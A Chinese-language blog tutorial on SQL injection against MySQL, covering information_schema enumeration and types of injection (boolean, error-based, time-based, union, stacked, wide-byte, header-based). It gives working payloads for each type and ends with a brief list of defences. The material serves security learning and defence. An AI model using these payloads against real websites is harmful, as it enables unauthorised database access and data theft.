sql注入

SQL注入原理

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。

举个简单的例子

关于数据库(MYSQL)

  • 在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是 schemata,tables,columns。
  • Schemata 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name。
  • Tables 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name.
  • Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name。

通过这条语句可以得到所有的数据库名

select schema_name from information_schema.schemata limit 0,1

通过这条语句可以得到所有的数据表名

select table_name from information_schema.tables limit 0,1

通过这条语句可以得到指定security数据库中的所有表名

select table_name from information_schema.tables where table_schema='security'limit 0,1

 通过这条语句可以得到所有的列名

select column_name from information_schema.columns limit 0,1

通过这条语句可以得到指定数据库security中的数据表users的所有列名

select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1

 相关知识(innodb.....)的补充

相关函数

a) Version();当前 mysql 的版本
b) Database();当前网站使用的数据库
c) User();当前 MySQL 的用户
d) system_user(); 系统用户名
e)session_user();连接数据库的用户名
f)current_user;当前用户名
g)load_file();读取本地文件
h)length(str) : 返回给定字符串的长度,如 length(“string”)=6
i)substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
substr()、stbstring()、mid() 三个函数的用法、功能均一致
j)concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接
group_concat(username) :将username数据查询在一起,用逗号连接

注释

 i. 1. #

ii. 2. --空格 空格可以使用+代替 (url 编码%23 表示注释)

iii. 3. /**/(可代替空格)

SQL类型 

数字型

类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where id=1 and 1=1 //页面返回正常
select * from 表名 where id=1 and 1=2 //页面出现问题

字符型 

类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

 构造payload 

id=0' union select NULL,database(),NULL --+

类似的把'替换成)、"、")、')等等

布尔型 

没有明显的回显和报错,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

例如

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

 报错型

构造payload让信息通过错误提示回显出来

floor(rand(0)*2)报错 

'union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+

updatexml

select updatexml(1,concat(0x7e,(select database())),0x7e)

extractvalue函数

select extractvalue(1,concat('~',(select database())))

 时间型

无论查询是否正确都返回一样的页面 

典型payload

id=1'  AND IF(LENGTH(database())=8,1,sleep(10)) --+

通过时间延迟来判断是否正确 

联合注入 

可以使用union的情况下的注入 

order by 后面不能进行union注入

union select.......

堆叠注入 

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

select * from users where id=1;select 1,2,3;%23

宽字节注入 

宽字节注入主要是源于程序员设置数据库编码与 php 编码设置为不同的两个编码,这样就可能会产 生宽字节注入。GBK 占用两字节,ASCII 占用一字节。PHP 中编码为 GBK,函数执行添加的是 ASCII 编码(添加的符号为‚\‛),MYSQL 默认字符集是 GBK 等宽字节字符集。 输入%df%27,本来\ 会转义%27(’),但\(其中\的十六进制是 %5C)的编码位数为 92,%df 的 编码位数为 223,%df%5c 符合 gbk 取值范围(第一个字节 129-254,第二个字节 64-254),会解析 为一个汉字‚運‛,这样\就会失去应有的作用

这时单引号就能起到构造payload的作用了

%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23

HTTP报文信息注入

user-agent类型的注入、Referer类型的注入、Cookie类型的注入

因为这些信息通过sql语句写入了数据库所以可以通过报错注入来注入

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', extractvalue(1,concat(0x7e,(select database()))),'1') #

差不多都是这种情况 

 SQL注入防御方式 

sql语句预编译

检查变量数据类型和格式

过滤特殊字符

从中间件配置上防止SQL注入(开启关闭某些函数)

通过安全waf去防御

参考链接       参考连接

遇见SQL注入的尝试步骤和注入方法 

以一题为例

 先判断是什么类型的注入输个'试试

根据报错继续构造 试试or

并没有过滤or 

得到数据 

查字段

当前数据库

 爆表

爆列名

再通过这些信息查询需要的内容

也可通过@@version查看数据库版本看看此版本是否爆出过漏洞 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值